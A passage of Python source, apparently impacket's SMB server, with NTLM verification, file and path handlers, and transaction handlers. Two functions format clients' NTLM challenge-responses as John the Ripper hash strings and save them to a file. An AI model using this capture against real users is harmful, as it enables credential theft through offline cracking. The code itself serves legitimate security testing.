Key, _enctype_table, InvalidChecksum, generate_kerberos_keys\nfrom impacket.nt_errors import STATUS_NO_MORE_FILES, STATUS_NETWORK_NAME_DELETED, STATUS_INVALID_PARAMETER, \\\n    STATUS_FILE_CLOSED, STATUS_MORE_PROCESSING_REQUIRED, STATUS_OBJECT_PATH_NOT_FOUND, STATUS_DIRECTORY_NOT_EMPTY, \\\n    STATUS_FILE_IS_A_DIRECTORY, STATUS_NOT_IMPLEMENTED, STATUS_INVALID_HANDLE, STATUS_OBJECT_NAME_COLLISION, \\\n    STATUS_NO_SUCH_FILE, STATUS_CANCELLED, STATUS_OBJECT_NAME_NOT_FOUND, STATUS_SUCCESS, STATUS_ACCESS_DENIED, \\\n    STATUS_NOT_SUPPORTED, STATUS_INVALID_DEVICE_REQUEST, STATUS_FS_DRIVER_REQUIRED, STATUS_INVALID_INFO_CLASS, \\\n    STATUS_LOGON_FAILURE, STATUS_OBJECT_PATH_SYNTAX_BAD, STATUS_END_OF_FILE\n\n# Setting LOG to current's module name\nLOG = logging.getLogger(__name__)\n\n# These ones not defined in nt_errors\nSTATUS_SMB_BAD_UID = 0x005B0002\nSTATUS_SMB_BAD_TID = 0x00050002\n\n\n# Utility functions\n# and general functions.\n# There are some common functions that can be accessed from more than one SMB\n# command (or either TRANSACTION). That's why I'm putting them here\n# TODO: Return NT ERROR Codes\n\ndef getFileTime(t):\n    return smb.POSIXtoFT(t)\n\ndef getUnixTime(t):\n    return smb.FTtoPOSIX(t)\n\ndef computeNTLMv2(identity, lmhash, nthash, serverChallenge, authenticateMessage, ntlmChallenge, type1):\n    # Let's calculate the NTLMv2 Response\n\n    responseKeyNT = ntlm.NTOWFv2(identity, '', authenticateMessage['domain_name'].decode('utf-16le'), nthash)\n    responseKeyLM = ntlm.LMOWFv2(identity, '', authenticateMessage['domain_name'].decode('utf-16le'), lmhash)\n\n    ntProofStr = authenticateMessage['ntlm'][:16]\n    temp = authenticateMessage['ntlm'][16:]\n    ntProofStr2 = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)\n    lmChallengeResponse = authenticateMessage['lanman']\n    sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)\n\n    responseFlags = type1['flags']\n\n    # Let's check the return flags\n    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:\n        # No extended session security, taking it out\n        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:\n        # No support for 128 key len, taking it out\n        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128\n    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:\n        # No key exchange supported, taking it out\n        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH\n    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL) == 0:\n        # No sign available, taking it out\n        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_SEAL\n    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN) == 0:\n        # No sign available, taking it out\n        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_SIGN\n    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN) == 0:\n        # No sign available, taking it out\n        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n\n    keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey, lmChallengeResponse,\n                                ntlmChallenge['challenge'], '',\n                                lmhash, nthash, True)\n\n    # If we set up key exchange, let's fill the right variables\n    if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:\n        exportedSessionKey = authenticateMessage['session_key']\n        exportedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)\n    else:\n        encryptedRandomSessionKey = None\n        # [MS-NLMP] page 46\n        exportedSessionKey = keyExchangeKey\n\n    # Do they match?\n    if ntProofStr == ntProofStr2:\n        # Yes!, process login\n        return STATUS_SUCCESS, exportedSessionKey\n    else:\n        return STATUS_LOGON_FAILURE, exportedSessionKey\n\n\ndef outputToJohnFormat(challenge, username, domain, lmresponse, ntresponse):\n    # We don't want to add a possible failure here, since this is an\n    # extra bonus. We try, if it fails, returns nothing\n    # ToDo: Document the parameter's types (bytes / string) and check all the places where it's called\n    ret_value = ''\n    if type(challenge) is not bytes:\n        challenge = challenge.decode('latin-1')\n\n    try:\n        if len(ntresponse) > 24:\n            # Extended Security - NTLMv2\n            ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (\n                username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(challenge).decode('latin-1'),\n                hexlify(ntresponse).decode('latin-1')[:32],\n                hexlify(ntresponse).decode()[32:]), 'hash_version': 'ntlmv2'}\n        else:\n            # NTLMv1\n            ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (\n                username.decode('utf-16le'), domain.decode('utf-16le'), hexlify(lmresponse).decode('latin-1'),\n                hexlify(ntresponse).decode('latin-1'),\n                hexlify(challenge).decode()), 'hash_version': 'ntlm'}\n    except:\n        # Let's try w/o decoding Unicode\n        try:\n            if len(ntresponse) > 24:\n                # Extended Security - NTLMv2\n                ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (\n                    username.decode('latin-1'), domain.decode('latin-1'), hexlify(challenge).decode('latin-1'),\n                    hexlify(ntresponse)[:32].decode('latin-1'), hexlify(ntresponse)[32:].decode('latin-1')),\n                             'hash_version': 'ntlmv2'}\n            else:\n                # NTLMv1\n                ret_value = {'hash_string': '%s::%s:%s:%s:%s' % (\n                    username, domain, hexlify(lmresponse).decode('latin-1'), hexlify(ntresponse).decode('latin-1'),\n                    hexlify(challenge).decode('latin-1')), 'hash_version': 'ntlm'}\n        except Exception as e:\n            import traceback\n            traceback.print_exc()\n            LOG.error(\"outputToJohnFormat: %s\" % e)\n            pass\n\n    return ret_value\n\n\ndef writeJohnOutputToFile(hash_string, hash_version, file_name):\n    fn_data = os.path.splitext(file_name)\n    if hash_version == \"ntlmv2\":\n        output_filename = fn_data[0] + \"_ntlmv2\" + fn_data[1]\n    else:\n        output_filename = fn_data[0] + \"_ntlm\" + fn_data[1]\n\n    with open(output_filename, \"a\") as f:\n        f.write(hash_string)\n        f.write('\\n')\n\n\ndef decodeSMBString(flags, text):\n    if flags & smb.SMB.FLAGS2_UNICODE:\n        return text.decode('utf-16le')\n    else:\n        return text\n\n\ndef encodeSMBString(flags, text):\n    if flags & smb.SMB.FLAGS2_UNICODE:\n        return (text).encode('utf-16le')\n    else:\n        return text.encode('ascii')\n\n\ndef getSMBDate(t):\n    d = datetime.date.fromtimestamp(t)\n    return smb.SMB_DATE(d.year, d.month, d.day).pack()\n\n\ndef getSMBTime(t):\n    d = datetime.datetime.fromtimestamp(t)\n    return smb.SMB_TIME(d.hour, d.minute, d.second).pack()\n\n\ndef getShares(connId, smbServer):\n    config = smbServer.getServerConfig()\n    sections = config.sections()\n    # Remove the global one\n    del (sections[sections.index('global')])\n    shares = {}\n    for i in sections:\n        shares[i] = dict(config.items(i))\n    return shares\n\n\ndef searchShare(connId, share, smbServer):\n    share = ensure_str(share)\n    config = smbServer.getServerConfig()\n    if config.has_section(share):\n        return dict(config.items(share))\n    else:\n        return None\n\n\ndef normalize_path(file_name, path=None):\n    \"\"\"Normalizes a path by replacing \"\\\" with \"/\" and stripping potential\n    leading \"/\" chars. If a path is provided, only strip leading '/' when\n    the path is empty.\n\n    :param file_name: file name to normalize\n    :type file_name: string\n\n    :param path: path to normalize\n    :type path: string\n\n    :return normalized file name\n    :rtype string\n    \"\"\"\n    file_name = os.path.normpath(file_name.replace('\\\\', '/'))\n    if len(file_name) > 0 and (file_name[0] == '/' or file_name[0] == '\\\\'):\n        if path is None or path != '':\n            # Strip leading \"/\"\n            file_name = file_name[1:]\n    return file_name\n\n\ndef isInFileJail(path, file_name):\n    \"\"\"Validates if a provided file name path is inside a path. This function is used\n    to check for path traversals.\n\n    :param path: base path to check\n    :type path: string\n    :param file_name: file name to validate\n    :type file_name: string\n\n    :return whether the file name is inside the base path or not\n    :rtype bool\n    \"\"\"\n    path_name = os.path.join(path, file_name)\n    share_real_path = os.path.realpath(path)\n    return os.path.commonprefix((os.path.realpath(path_name), share_real_path)) == share_real_path\n\n\ndef openFile(path, fileName, accessMode, fileAttributes, openMode, readOnly):\n    fileName = normalize_path(fileName)\n    pathName = os.path.join(path, fileName)\n    errorCode = 0\n    mode = 0\n\n    if not isInFileJail(path, fileName):\n        LOG.error(\"Path not in current working directory\")\n        errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD\n        return 0, mode, pathName, errorCode\n\n    # Check the Open Mode\n    if openMode & 0x10:\n        # If the file does not exist, create it.\n        mode = os.O_CREAT\n    else:\n        # If file does not exist, return an error\n        if os.path.exists(pathName) is not True:\n            errorCode = STATUS_NO_SUCH_FILE\n            return 0, mode, pathName, errorCode\n\n    if os.path.isdir(pathName) and (fileAttributes & smb.ATTR_DIRECTORY) == 0:\n        # Request to open a normal file and this is actually a directory\n        errorCode = STATUS_FILE_IS_A_DIRECTORY\n        return 0, mode, pathName, errorCode\n    # Check the Access Mode\n    if accessMode & 0x7 == 1:\n        mode |= os.O_WRONLY\n    elif accessMode & 0x7 == 2:\n        mode |= os.O_RDWR\n    else:\n        mode = os.O_RDONLY\n\n    try:\n        if sys.platform == 'win32':\n            mode |= os.O_BINARY\n        if readOnly:\n            mode = os.O_RDONLY\n        fid = os.open(pathName, mode)\n    except Exception as e:\n        LOG.error(\"openFile: %s,%s\" % (pathName, mode), e)\n        fid = 0\n        errorCode = STATUS_ACCESS_DENIED\n\n    return fid, mode, pathName, errorCode\n\n\ndef queryFsInformation(path, filename, level=None, pktFlags=smb.SMB.FLAGS2_UNICODE):\n    if pktFlags & smb.SMB.FLAGS2_UNICODE:\n        encoding = 'utf-16le'\n    else:\n        encoding = 'ascii'\n\n    fileName = normalize_path(filename)\n    pathName = os.path.join(path, fileName)\n    fileSize = os.path.getsize(pathName)\n    (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)\n\n    if level is None:\n        lastWriteTime = mtime\n        attribs = 0\n        if os.path.isdir(pathName):\n            attribs |= smb.SMB_FILE_ATTRIBUTE_DIRECTORY\n        if os.path.isfile(pathName):\n            attribs |= smb.SMB_FILE_ATTRIBUTE_NORMAL\n        fileAttributes = attribs\n        return fileSize, lastWriteTime, fileAttributes\n\n    elif level == smb.SMB_QUERY_FS_ATTRIBUTE_INFO or level == smb2.SMB2_FILESYSTEM_ATTRIBUTE_INFO:\n        data = smb.SMBQueryFsAttributeInfo()\n        data['FileSystemAttributes'] = smb.FILE_CASE_SENSITIVE_SEARCH | smb.FILE_CASE_PRESERVED_NAMES\n        data['MaxFilenNameLengthInBytes'] = 255\n        data['LengthOfFileSystemName'] = len('XTFS') * 2\n        data['FileSystemName'] = 'XTFS'.encode('utf-16le')\n        return data.getData()\n    elif level == smb.SMB_INFO_VOLUME:\n        data = smb.SMBQueryFsInfoVolume(flags=pktFlags)\n        data['VolumeLabel'] = 'SHARE'.encode(encoding)\n        return data.getData()\n    elif level == smb.SMB_QUERY_FS_VOLUME_INFO or level == smb2.SMB2_FILESYSTEM_VOLUME_INFO:\n        data = smb.SMBQueryFsVolumeInfo()\n        data['VolumeLabel'] = ''\n        data['VolumeCreationTime'] = smb.POSIXtoFT(ctime)\n        return data.getData()\n    elif level == smb.SMB_QUERY_FS_SIZE_INFO:\n        data = smb.SMBQueryFsSizeInfo()\n        return data.getData()\n    elif level == smb.SMB_QUERY_FS_DEVICE_INFO or level == smb2.SMB2_FILESYSTEM_DEVICE_INFO:\n        data = smb.SMBQueryFsDeviceInfo()\n        data['DeviceType'] = smb.FILE_DEVICE_DISK\n        return data.getData()\n    elif level == smb.FILE_FS_FULL_SIZE_INFORMATION:\n        data = smb.SMBFileFsFullSizeInformation()\n        return data.getData()\n    elif level == smb.FILE_FS_SIZE_INFORMATION:\n        data = smb.FileFsSizeInformation()\n        return data.getData()\n    else:\n        return None\n\n\ndef findFirst2(path, fileName, level, searchAttributes, pktFlags=smb.SMB.FLAGS2_UNICODE, isSMB2=False):\n    # TODO: Depending on the level, this could be done much simpler\n\n    # Let's choose the right encoding depending on the request\n    if pktFlags & smb.SMB.FLAGS2_UNICODE:\n        encoding = 'utf-16le'\n    else:\n        encoding = 'ascii'\n\n    fileName = normalize_path(fileName)\n    pathName = os.path.join(path, fileName)\n\n    if not isInFileJail(path, fileName):\n        LOG.error(\"Path not in current working directory\")\n        return [], 0, STATUS_OBJECT_PATH_SYNTAX_BAD\n\n    files = []\n\n    if pathName.find('*') == -1 and pathName.find('?') == -1:\n        # No search patterns\n        pattern = ''\n    else:\n        pattern = os.path.basename(pathName)\n        dirName = os.path.dirname(pathName)\n\n    # Always add . and .. Not that important for Windows, but Samba whines if\n    # not present (for * search only)\n    if pattern == '*':\n        files.append(os.path.join(dirName, '.'))\n        files.append(os.path.join(dirName, '..'))\n\n    if pattern != '':\n        if not os.path.exists(dirName):\n            return None, 0, STATUS_OBJECT_NAME_NOT_FOUND\n\n        for file in os.listdir(dirName):\n            if fnmatch.fnmatch(file.lower(), pattern.lower()):\n                entry = os.path.join(dirName, file)\n                if os.path.isdir(entry):\n                    if searchAttributes & smb.ATTR_DIRECTORY:\n                        files.append(entry)\n                else:\n                    files.append(entry)\n    else:\n        if os.path.exists(pathName):\n            files.append(pathName)\n\n    searchResult = []\n    searchCount = len(files)\n    errorCode = STATUS_SUCCESS\n\n    for i in files:\n        if level == smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_BOTH_DIRECTORY_INFO:\n            item = smb.SMBFindFileBothDirectoryInfo(flags=pktFlags)\n        elif level == smb.SMB_FIND_FILE_DIRECTORY_INFO or level == smb2.SMB2_FILE_DIRECTORY_INFO:\n            item = smb.SMBFindFileDirectoryInfo(flags=pktFlags)\n        elif level == smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO or level == smb2.SMB2_FULL_DIRECTORY_INFO:\n            item = smb.SMBFindFileFullDirectoryInfo(flags=pktFlags)\n        elif level == smb.SMB_FIND_INFO_STANDARD:\n            item = smb.SMBFindInfoStandard(flags=pktFlags)\n        elif level == smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_FULL_DIRECTORY_INFO:\n            item = smb.SMBFindFileIdFullDirectoryInfo(flags=pktFlags)\n        elif level == smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO:\n            item = smb.SMBFindFileIdBothDirectoryInfo(flags=pktFlags)\n        elif level == smb.SMB_FIND_FILE_NAMES_INFO or level == smb2.SMB2_FILE_NAMES_INFO:\n            item = smb.SMBFindFileNamesInfo(flags=pktFlags)\n        else:\n            LOG.error(\"Wrong level %d!\" % level)\n            return searchResult, searchCount, STATUS_NOT_SUPPORTED\n\n        (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(i)\n        if os.path.isdir(i):\n            item['ExtFileAttributes'] = smb.ATTR_DIRECTORY\n        else:\n            item['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE\n\n        item['FileName'] = os.path.basename(i).encode(encoding)\n\n        if level in [smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO, smb2.SMB2_FILE_BOTH_DIRECTORY_INFO,\n                     smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO, smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO]:\n            item['EaSize'] = 0\n            item['EndOfFile'] = size\n            item['AllocationSize'] = size\n            item['CreationTime'] = smb.POSIXtoFT(ctime)\n            item['LastAccessTime'] = smb.POSIXtoFT(atime)\n            item['LastWriteTime'] = smb.POSIXtoFT(mtime)\n            item['LastChangeTime'] = smb.POSIXtoFT(mtime)\n            item['ShortName'] = '\\x00' * 24\n            item['FileName'] = os.path.basename(i).encode(encoding)\n            padLen = (8 - (len(item) % 8)) % 8\n            item['NextEntryOffset'] = len(item) + padLen\n        elif level in [smb.SMB_FIND_FILE_DIRECTORY_INFO, smb2.SMB2_FILE_DIRECTORY_INFO]:\n            item['EndOfFile'] = size\n            item['AllocationSize'] = size\n            item['CreationTime'] = smb.POSIXtoFT(ctime)\n            item['LastAccessTime'] = smb.POSIXtoFT(atime)\n            item['LastWriteTime'] = smb.POSIXtoFT(mtime)\n            item['LastChangeTime'] = smb.POSIXtoFT(mtime)\n            item['FileName'] = os.path.basename(i).encode(encoding)\n            padLen = (8 - (len(item) % 8)) % 8\n            item['NextEntryOffset'] = len(item) + padLen\n        elif level in [smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO, smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO,\n                       smb2.SMB2_FULL_DIRECTORY_INFO, smb2.SMB2_FILE_ID_FULL_DIRECTORY_INFO]:\n            item['EaSize'] = 0\n            item['EndOfFile'] = size\n            item['AllocationSize'] = size\n            item['CreationTime'] = smb.POSIXtoFT(ctime)\n            item['LastAccessTime'] = smb.POSIXtoFT(atime)\n            item['LastWriteTime'] = smb.POSIXtoFT(mtime)\n            item['LastChangeTime'] = smb.POSIXtoFT(mtime)\n            padLen = (8 - (len(item) % 8)) % 8\n            item['NextEntryOffset'] = len(item) + padLen\n        elif level == smb.SMB_FIND_INFO_STANDARD:\n            item['EaSize'] = size\n            item['CreationDate'] = getSMBDate(ctime)\n            item['CreationTime'] = getSMBTime(ctime)\n            item['LastAccessDate'] = getSMBDate(atime)\n            item['LastAccessTime'] = getSMBTime(atime)\n            item['LastWriteDate'] = getSMBDate(mtime)\n            item['LastWriteTime'] = getSMBTime(mtime)\n        elif level in [smb.SMB_FIND_FILE_NAMES_INFO, smb2.SMB2_FILE_NAMES_INFO]:\n            padLen = (8 - (len(item) % 8)) % 8\n            item['NextEntryOffset'] = len(item) + padLen\n        searchResult.append(item)\n\n    # No more files\n    if (level >= smb.SMB_FIND_FILE_DIRECTORY_INFO or isSMB2 is True) and searchCount > 0:\n        searchResult[-1]['NextEntryOffset'] = 0\n\n    return searchResult, searchCount, errorCode\n\n\ndef queryFileInformation(path, filename, level):\n    # print \"queryFileInfo path: %s, filename: %s, level:0x%x\" % (path,filename,level)\n    return queryPathInformation(path, filename, level)\n\n\ndef queryPathInformation(path, filename, level):\n    # TODO: Depending on the level, this could be done much simpler\n    try:\n        errorCode = 0\n        fileName = normalize_path(filename, path)\n        pathName = os.path.join(path, fileName)\n\n        if not isInFileJail(path, fileName):\n            LOG.error(\"Path not in current working directory\")\n            return None, STATUS_OBJECT_PATH_SYNTAX_BAD\n\n        if os.path.exists(pathName):\n            (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)\n            if os.path.isdir(pathName):\n                fileAttributes = smb.ATTR_DIRECTORY\n            else:\n                fileAttributes = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE\n\n            if level == smb.SMB_QUERY_FILE_BASIC_INFO:\n                infoRecord = smb.SMBQueryFileBasicInfo()\n                infoRecord['CreationTime'] = smb.POSIXtoFT(ctime)\n                infoRecord['LastAccessTime'] = smb.POSIXtoFT(atime)\n                infoRecord['LastWriteTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['LastChangeTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['ExtFileAttributes'] = fileAttributes\n            elif level == smb2.SMB2_FILE_BASIC_INFO:\n                infoRecord = smb2.FILE_BASIC_INFORMATION()\n                infoRecord['CreationTime'] = smb.POSIXtoFT(ctime)\n                infoRecord['LastAccessTime'] = smb.POSIXtoFT(atime)\n                infoRecord['LastWriteTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['ChangeTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['FileAttributes'] = fileAttributes\n            elif level == smb.SMB_QUERY_FILE_STANDARD_INFO:\n                infoRecord = smb.SMBQueryFileStandardInfo()\n                infoRecord['AllocationSize'] = size\n                infoRecord['EndOfFile'] = size\n                if os.path.isdir(pathName):\n                    infoRecord['Directory'] = 1\n                else:\n                    infoRecord['Directory'] = 0\n            elif level == smb2.SMB2_FILE_STANDARD_INFO:\n                infoRecord = smb2.FILE_STANDARD_INFORMATION()\n                infoRecord['AllocationSize'] = size\n                infoRecord['EndOfFile'] = size\n                infoRecord['NumberOfLinks'] = 0\n                if os.path.isdir(pathName):\n                    infoRecord['Directory'] = 1\n                else:\n                    infoRecord['Directory'] = 0\n            elif level == smb.SMB_QUERY_FILE_ALL_INFO:\n                infoRecord = smb.SMBQueryFileAllInfo()\n                infoRecord['CreationTime'] = smb.POSIXtoFT(ctime)\n                infoRecord['LastAccessTime'] = smb.POSIXtoFT(atime)\n                infoRecord['LastWriteTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['LastChangeTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['ExtFileAttributes'] = fileAttributes\n                infoRecord['AllocationSize'] = size\n                infoRecord['EndOfFile'] = size\n                if os.path.isdir(pathName):\n                    infoRecord['Directory'] = 1\n                else:\n                    infoRecord['Directory'] = 0\n                infoRecord['FileName'] = filename.encode('utf-16le')\n            elif level == smb2.SMB2_FILE_ALL_INFO:\n                infoRecord = smb2.FILE_ALL_INFORMATION()\n                infoRecord['BasicInformation'] = smb2.FILE_BASIC_INFORMATION()\n                infoRecord['StandardInformation'] = smb2.FILE_STANDARD_INFORMATION()\n                infoRecord['InternalInformation'] = smb2.FILE_INTERNAL_INFORMATION()\n                infoRecord['EaInformation'] = smb2.FILE_EA_INFORMATION()\n                infoRecord['AccessInformation'] = smb2.FILE_ACCESS_INFORMATION()\n                infoRecord['PositionInformation'] = smb2.FILE_POSITION_INFORMATION()\n                infoRecord['ModeInformation'] = smb2.FILE_MODE_INFORMATION()\n                infoRecord['AlignmentInformation'] = smb2.FILE_ALIGNMENT_INFORMATION()\n                infoRecord['NameInformation'] = smb2.FILE_NAME_INFORMATION()\n                infoRecord['BasicInformation']['CreationTime'] = smb.POSIXtoFT(ctime)\n                infoRecord['BasicInformation']['LastAccessTime'] = smb.POSIXtoFT(atime)\n                infoRecord['BasicInformation']['LastWriteTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['BasicInformation']['ChangeTime'] = smb.POSIXtoFT(mtime)\n                if os.path.isdir(pathName):\n                    infoRecord['BasicInformation']['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY\n                    infoRecord['StandardInformation']['Directory'] = 1\n                    infoRecord['EaInformation']['EaSize'] = smb.ATTR_DIRECTORY\n                else:\n                    infoRecord['BasicInformation']['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_NORMAL | smb.SMB_FILE_ATTRIBUTE_ARCHIVE\n                    infoRecord['StandardInformation']['Directory'] = 0\n                    infoRecord['EaInformation']['EaSize'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE\n                infoRecord['StandardInformation']['AllocationSize'] = size\n                infoRecord['StandardInformation']['EndOfFile'] = size\n                infoRecord['StandardInformation']['NumberOfLinks'] = nlink\n                infoRecord['StandardInformation']['DeletePending'] = 0\n                infoRecord['InternalInformation']['IndexNumber'] = ino\n                infoRecord['AccessInformation']['AccessFlags'] = 0 #\n                infoRecord['PositionInformation']['CurrentByteOffset'] = 0 #\n                infoRecord['ModeInformation']['mode'] = mode\n                infoRecord['AlignmentInformation']['AlignmentRequirement'] = 0 #\n                infoRecord['NameInformation']['FileName'] = fileName.encode('utf-16le')\n                infoRecord['NameInformation']['FileNameLength'] = len(fileName.encode('utf-16le'))\n            elif level == smb2.SMB2_FILE_NETWORK_OPEN_INFO:\n                infoRecord = smb.SMBFileNetworkOpenInfo()\n                infoRecord['CreationTime'] = smb.POSIXtoFT(ctime)\n                infoRecord['LastAccessTime'] = smb.POSIXtoFT(atime)\n                infoRecord['LastWriteTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['ChangeTime'] = smb.POSIXtoFT(mtime)\n                infoRecord['AllocationSize'] = size\n                infoRecord['EndOfFile'] = size\n                infoRecord['FileAttributes'] = fileAttributes\n            elif level == smb.SMB_QUERY_FILE_EA_INFO or level == smb2.SMB2_FILE_EA_INFO:\n                infoRecord = smb.SMBQueryFileEaInfo()\n            elif level == smb.SMB_QUERY_FILE_STREAM_INFO or level == smb2.SMB2_FILE_STREAM_INFO:\n                infoRecord = smb.SMBFileStreamInformation()\n            elif level == smb2.SMB2_ATTRIBUTE_TAG_INFO:\n                infoRecord = smb2.FILE_ATTRIBUTE_TAG_INFORMATION()\n                infoRecord['FileAttributes'] = fileAttributes\n            else:\n                LOG.error('Unknown level for query path info! 0x%x' % level)\n                # UNSUPPORTED\n                return None, STATUS_NOT_SUPPORTED\n\n            return infoRecord, errorCode\n        else:\n            # NOT FOUND\n            return None, STATUS_OBJECT_NAME_NOT_FOUND\n    except Exception as e:\n        LOG.error('queryPathInfo: %s' % e)\n        raise\n\n\ndef queryDiskInformation(path):\n    # TODO: Do something useful here :)\n    # For now we just return fake values\n    totalUnits = 65535\n    freeUnits = 65535\n    return totalUnits, freeUnits\n\n\n# Here we implement the NT transaction handlers\nclass NTTRANSCommands:\n    def default(self, connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        pass\n\n\n# Here we implement the NT transaction handlers\nclass TRANSCommands:\n    @staticmethod\n    def lanMan(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        # Minimal [MS-RAP] implementation, just to return the shares\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        errorCode = STATUS_SUCCESS\n        if struct.unpack('<H', parameters[:2])[0] == 0:\n            # NetShareEnum Request\n            netShareEnum = smb.SMBNetShareEnum(parameters)\n            if netShareEnum['InfoLevel'] == 1:\n                shares = getShares(connId, smbServer)\n                respParameters = smb.SMBNetShareEnumResponse()\n                respParameters['EntriesReturned'] = len(shares)\n                respParameters['EntriesAvailable'] = len(shares)\n                tailData = ''\n                for i in shares:\n                    # NetShareInfo1 len == 20\n                    entry = smb.NetShareInfo1()\n                    entry['NetworkName'] = i + '\\x00' * (13 - len(i))\n                    entry['Type'] = int(shares[i]['share type'])\n                    # (beto) If offset == 0 it crashes explorer.exe on windows 7\n                    entry['RemarkOffsetLow'] = 20 * len(shares) + len(tailData)\n                    respData += entry.getData()\n                    if 'comment' in shares[i]:\n                        tailData += shares[i]['comment'] + '\\x00'\n                    else:\n                        tailData += '\\x00'\n                respData += tailData\n            else:\n                # We don't support other info levels\n                errorCode = STATUS_NOT_SUPPORTED\n        elif struct.unpack('<H', parameters[:2])[0] == 13:\n            # NetrServerGetInfo Request\n            respParameters = smb.SMBNetServerGetInfoResponse()\n            netServerInfo = smb.SMBNetServerInfo1()\n            netServerInfo['ServerName'] = smbServer.getServerName()\n            respData = netServerInfo.getData()\n            respParameters['TotalBytesAvailable'] = len(respData)\n        elif struct.unpack('<H', parameters[:2])[0] == 1:\n            # NetrShareGetInfo Request\n            request = smb.SMBNetShareGetInfo(parameters)\n            respParameters = smb.SMBNetShareGetInfoResponse()\n            shares = getShares(connId, smbServer)\n            share = shares[request['ShareName'].upper()]\n            shareInfo = smb.NetShareInfo1()\n            shareInfo['NetworkName'] = request['ShareName'].upper() + '\\x00'\n            shareInfo['Type'] = int(share['share type'])\n            respData = shareInfo.getData()\n            if 'comment' in share:\n                shareInfo['RemarkOffsetLow'] = len(respData)\n                respData += share['comment'] + '\\x00'\n            respParameters['TotalBytesAvailable'] = len(respData)\n\n        else:\n            # We don't know how to handle anything else\n            errorCode = STATUS_NOT_SUPPORTED\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    @staticmethod\n    def transactNamedPipe(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        errorCode = STATUS_SUCCESS\n        SMBCommand = smb.SMBCommand(recvPacket['Data'][0])\n        transParameters = smb.SMBTransaction_Parameters(SMBCommand['Parameters'])\n\n        # Extract the FID\n        fid = struct.unpack('<H', transParameters['Setup'][2:])[0]\n\n        if fid in connData['OpenedFiles']:\n            fileHandle = connData['OpenedFiles'][fid]['FileHandle']\n            if fileHandle != PIPE_FILE_DESCRIPTOR:\n                os.write(fileHandle, data)\n                respData = os.read(fileHandle, data)\n            else:\n                sock = connData['OpenedFiles'][fid]['Socket']\n                sock.send(data)\n                respData = sock.recv(maxDataCount)\n        else:\n            errorCode = STATUS_INVALID_HANDLE\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n\n# Here we implement the transaction2 handlers\nclass TRANS2Commands:\n    # All these commands return setup, parameters, data, errorCode\n\n    @staticmethod\n    def setPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        errorCode = STATUS_SUCCESS\n        setPathInfoParameters = smb.SMBSetPathInformation_Parameters(flags=recvPacket['Flags2'], data=parameters)\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], setPathInfoParameters['FileName']), path)\n            pathName = 